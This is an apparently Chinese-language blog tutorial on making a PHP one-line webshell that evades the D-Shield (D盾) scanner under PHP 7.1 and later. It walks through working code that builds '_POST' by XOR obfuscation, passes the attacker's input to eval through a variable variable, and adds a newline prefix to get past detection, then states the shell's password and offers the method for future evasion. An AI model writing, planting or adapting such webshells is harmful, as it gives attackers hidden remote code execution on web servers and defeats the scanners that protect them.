嚴格的D盾
D盾說,我是個嚴格的人,看到eval我就報木馬,“看着像“=”就是“木馬,寧可錯殺一千,絕不放過一個。好了,多說無益,一起看看嚴格的D盾是如何錯殺的。
我隨手寫一個php文件:代碼如下:
<?php function encode($para0){ return $para0; } $b = encode("aaaa"); $a = "ccc"; eval($a); ?>
很明顯沒有傳參呀,GET和POST都沒有,壓根兒就不是木馬的,但是D盾竟然給我直接報了已知后門,我哭遼,如下:
大家最初的繞過應該大多都是基於”assert”的拆分和隱藏繞過的,但是在php7.1后assert已經被移除了,那么我們這些滲透測試er該何去何從呢?,能否找到新的技巧呢?當然,技巧千千萬,找一些少見的函數,少見的特殊字符都是不錯的選擇。但是我們能否借助在php7.1之前的隱藏和拆分”assert“的思路呢?答案是肯定的,我們可以嘗試隱藏和拆分傳入eval中的參數來直面eval函數繞過。
隱藏POST和GET
在php7.1之后,如果我們轉換思路,不再糾結於隱藏assert,eval等命令執行函數(因為assert已經失效,也無法隱藏了,無需隱藏了),而是直接面對eval,在我上述的例子中大家很容易看到,我就隨便往eval中傳了一個參數“ccc”,D盾就直接報已知后門了,這足以說明D盾對傳入eavl參數的敏感性太高了。那么此時,我們隱藏一下我們一句話木馬中常用和必須的GET和POST就有必要了。於是編寫如下木馬:(注明:此木馬D盾會報一級可疑)
$a = "~+d()"^"!{+{}"; $b = ${$a}[a]; eval($b)
;
簡單解釋一下:
變量$a的值我是利用異或賦值的,$a = "~+d()"^"!{+{}";
,而字符串"~+d()"^"!{+{}"
異或的結果為_POST
,我直接輸出給大家看看:
echo $a
即為如下結果:
然后$b = ${$a}[a];
與$b = $_POST[a]
等價,在將其傳入eval()中,我們就成功了第一步,我們已經使得D盾報木馬的級別降低了,由”5級 已知后門“變為”1級可疑(內藏)Eval后門{參數:$b(未知內容)}“了,哈哈,這就說明此時我們已經成功隱藏了我們所傳入的參數,但是D盾在這里有點“我不認識的都可疑,寧可錯殺一千,絕不放過一個了”,既然D盾這么較真,我們也較真點,徹底繞過。
經過上述測試發現,D盾只要在eval函數內發現了它未能識別的參數就會報出可疑,未知內容,又由於我們從一開始的切入點就是eval中的參數,所以此時我依舊針對eval中的參數進行處理:處理后的結果如下:
<?php $a = "~+d()"^"!{+{}"; $b = ${$a}[a]; eval("\n".$b); ?>
我們僅僅在參數$b
的前面加上“\n"
就成功繞過了,當然同理,你也可以在參數$b的前面加上""
、"\t"
、"\r"
等等也是可以繞過的。
木馬密碼:a
d盾掃描結果:
總結
在php7.1之后,顯而易見的是免殺的難度大大增加了,因為靈活的assert被拋棄了,我們再也沒有辦法通過回調函數調用assert,或者其他的方式隱藏,拆分,調用assert,隱蔽的傳參給assert。這個時候我們必須直面eval了,從傳入eval的參數入手,隱藏GET和POST,配合一些特殊字符打亂正則,方可達到繞過檢測的目的。當然也不排除使用特殊函數繞過。現在還能大量發表繞過的方法完全是因為現在還沒有完全過度到php7.1之后,等到完全過度到php7.1之后估計大家的免殺馬都要捂着用了,因為免殺的難度和代價變大了。此文供大家日后面對php7.1之后的環境參考繞過。